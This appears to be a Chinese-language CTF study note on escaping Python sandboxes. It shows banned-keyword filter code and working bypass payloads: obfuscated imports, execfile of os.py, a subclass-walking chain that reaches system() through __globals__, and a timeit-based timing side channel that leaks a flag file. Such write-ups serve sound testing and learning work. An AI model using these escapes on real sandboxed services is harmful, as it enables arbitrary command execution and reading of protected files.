Python SandBox Bypass

0x00 shell执行函数

os.system('whoami')
os.popen('whoami').read()
commands.getoutput('whoami')
commands.getstatusoutput('whoami')
subprocess.call(['whoami'],shell=True)

0x01 Bypass敏感包过滤

过滤函数:

banned = [
"os",
"subprocess",
"sys",
"commands"
]
while 1:
    x=raw_input('>>>')
    if len([i for i in banned if i not in x])==4:
        try:
            exec(x)
        except:
            print('exec error')
    else:
        print('error')

bypass:

__import__("o"+"s").system('whoami')
__import__("bf".decode('rot_13')).system("whoami")

如果知道目录的话还可以直接使用execfile直接导入包,例如:

execfile('/usr/lib/python2.7/o'+'s.py');system('whoami')

0x02 内置类型对象

过滤函数:

from __future__ import print_function

print("Welcome to my Python sandbox! Enter commands below!")

banned = [  
    "import",
    "exec",
    "eval",
    "pickle",
    "os",
    "subprocess",
    "kevin sucks",
    "input",
    "banned",
    "cry sum more",
    "sys"
]

targets = list(__builtins__.__dict__.keys())  
targets.remove('input')  
targets.remove('print')  
exec_ = exec
for x in targets:  
    del __builtins__.__dict__[x]

while 1:
    try:  
        print(">>>", end=' ')
        data = input()

        for no in banned:
            if no.lower() in data.lower():
                print("[-] " + no)
                break
        else: # this means nobreak
            exec_(data)
    except:
        print('[+]error!!!!')

查找对应module:

[m for m in [i for i in [].__class__.__base__.__subclasses__() if '<class' in str(i) and '__globals__' in dir(i.__init__)] if 'system' in [n for n in m.__init__.__globals__.keys()]]

python3.5.2返回:

[<class 'os._wrap_close'>, <class 'os._DummyDirEntry'>]

shell:

[c for c in [].__class__.__base__.__subclasses__() if c.__name__ == '_DummyDirEntry'][0].__init__.__globals__['sy'+'stem']('whoami')

合成一句就是:

[c for c in [].__class__.__base__.__subclasses__() if c.__name__ == [m.__name__ for m in [i for i in [].__class__.__base__.__subclasses__() if '<class' in str(i) and '__globals__' in dir(i.__init__)] if 'system' in [n for n in m.__init__.__globals__.keys()]][0]][0].__init__.__globals__['sy'+'stem']('whoami')

可读性比较差了…

这里这个这道题我是用sys先读出了他的python版本号(因为也删除了str()),再用对应的内置对象getshell.

0x03 Another Way

use the timeit
swpu2017年的ctf比赛,直接上poc:

import timeit
z="""
import time
def fuck_length(len):
    try:
        z=open('flag','r').read()
        for i in z[len]:
            time.sleep(ord(i)*0.001)
    except:
        pass
"""
for i in range(0,29):
    print chr(int(timeit.timeit('fuck_length({0})'.format(i),number=1,setup=z)*1000)),

因为他这里似乎禁掉了回显的原因,所以就这样dirty hack了(:逃

http://rickgray.me/use-python-features-to-execute-arbitrary-codes-in-jinja2-templates
http://www.cnblogs.com/iamstudy/articles/python_eval_and_bypass_sandbox_study.html